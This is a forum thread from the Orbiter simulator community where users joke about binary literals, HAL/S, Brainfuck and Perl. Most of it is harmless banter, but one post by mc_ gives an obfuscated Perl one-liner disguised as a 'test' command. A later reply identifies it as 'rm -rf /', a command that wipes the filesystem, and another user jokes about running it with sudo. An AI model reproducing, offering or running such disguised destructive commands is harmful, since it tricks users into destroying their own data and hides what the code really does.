Gaming 1....1.000.000

Urwumpe

Not funny anymore
Addon Developer
Donator
Joined
Feb 6, 2008
Messages
37,668
Reaction score
2,391
Points
203
Location
Wolfsburg
Preferred Pronouns
Sire
Is there a reason C++ doesn't support binary numbers? It seems like it'd be a practical thing to have.

No real reason, it is just that hexadecimal is more comfortable.

C++ can do a lot of stuff with binary numbers, but it requires the STL for that.

In HAL/S, the programming language of the Space Shuttle, the same would be:

Code:
M DECLARE X INTEGER DOUBLE INITIAL(BIN'11011110101011011011111011101111');
 
Last edited:

Izack

Non sequitur
Addon Developer
Joined
Feb 4, 2010
Messages
6,665
Reaction score
13
Points
113
Location
The Wilderness, N.B.
Does anyone else find it ominous that the Shuttle's computer uses a language called HAL? I mean, wouldn't you be worried it would refuse to open the payload bay for you?

Besides, I think everybody appreciates the Joys of Hex.
:rofl:
 

MeDiCS

Donator
Donator
Joined
Sep 22, 2008
Messages
602
Reaction score
2
Points
0
Code:
M DECLARE X INTEGER DOUBLE INITIAL(BIN'11011110101011011011111011101111');
is dat sum COBOL?


Something far more useful:
Code:
101011110001010
11111000111111 101011110010100 10111000101000010110100000?
111111111001110111010000000000000000 "101011110001010 11010001011100000110100000!"
101010001101001111010000000000000000
Almost forgot, good luck with that. It's also fine to give up, really!
 

Quick_Nick

Passed the Turing Test
Donator
Joined
Oct 20, 2007
Messages
4,088
Reaction score
204
Points
103
Location
Tucson, AZ
++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.
 

Urwumpe

Not funny anymore
Addon Developer
Donator
Joined
Feb 6, 2008
Messages
37,668
Reaction score
2,391
Points
203
Location
Wolfsburg
Preferred Pronouns
Sire
is dat sum COBOL?

Not really. In COBOL I would still be typing.

Also HAL/S is named after one of the programmers, it is no acronym. ;)
 

computerex

Addon Developer
Addon Developer
Joined
Oct 16, 2007
Messages
1,282
Reaction score
17
Points
0
Location
Florida
Brain**** - Where it is easier to write a compiler for the darn thing then to actually make it do something useful.
 

Urwumpe

Not funny anymore
Addon Developer
Donator
Joined
Feb 6, 2008
Messages
37,668
Reaction score
2,391
Points
203
Location
Wolfsburg
Preferred Pronouns
Sire
Brain**** - Where it is easier to write a compiler for the darn thing then to actually make it do something useful.

Actually it is just a Turing automate...and like all Turing automates, it is not meant to do anything useful.
 

mc_

New member
Joined
Jan 22, 2010
Messages
342
Reaction score
0
Points
0
Location
South-Western Siberia
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
 

Xyon

Puts the Fun in Dysfunctional
Administrator
Moderator
Orbiter Contributor
Addon Developer
Webmaster
GFX Staff
Beta Tester
Joined
Aug 9, 2009
Messages
6,929
Reaction score
795
Points
203
Location
10.0.0.1
Website
www.orbiter-radio.co.uk
Preferred Pronouns
she/her
That won't work on me, I'm on a windows box. But still, that's a nasty command, and a nasty way of calling it, too. >.>

I hate Perl. rm -rf / indeed.

We did not invent the algorithm. The algorithm consistently finds Jesus. The algorithm killed Jeeves. The algorithm is banned in China. The algorithm is from Jersey. The algorithm constantly finds Jesus. This is not the algorithm. This is close.

The algorithm has also calculated your lucky number is $NaN. Please be aware that this number will rule your luck in life for the foreseeable future. It is advisable to write it down.
 

Urwumpe

Not funny anymore
Addon Developer
Donator
Joined
Feb 6, 2008
Messages
37,668
Reaction score
2,391
Points
203
Location
Wolfsburg
Preferred Pronouns
Sire
Didn't work... maybe I should sudo it. :shifty:
 

bwog

New member
Joined
Feb 16, 2010
Messages
118
Reaction score
0
Points
0
I have no idea what all these programming languages are that have all caps and have some symbol or two in the name.
 

earthorbit

Desktop Crasher
Joined
Feb 6, 2009
Messages
47
Reaction score
0
Points
0
int number = 10;

public void paint (Graphics g) {
g.drawString("Number is:" + number, 10, 10);
}
I have no idea what all these programming languages are that have all caps and have some symbol or two in the name.
Java hasn't got any caps or symbols in the Name.
 

Urwumpe

Not funny anymore
Addon Developer
Donator
Joined
Feb 6, 2008
Messages
37,668
Reaction score
2,391
Points
203
Location
Wolfsburg
Preferred Pronouns
Sire
HAL/S (FC) is just a PL/I derived programming language (like BASIC). Can't see much harm in it, except that it is sadly virtually unknown outside the United Space Alliance.
 
Top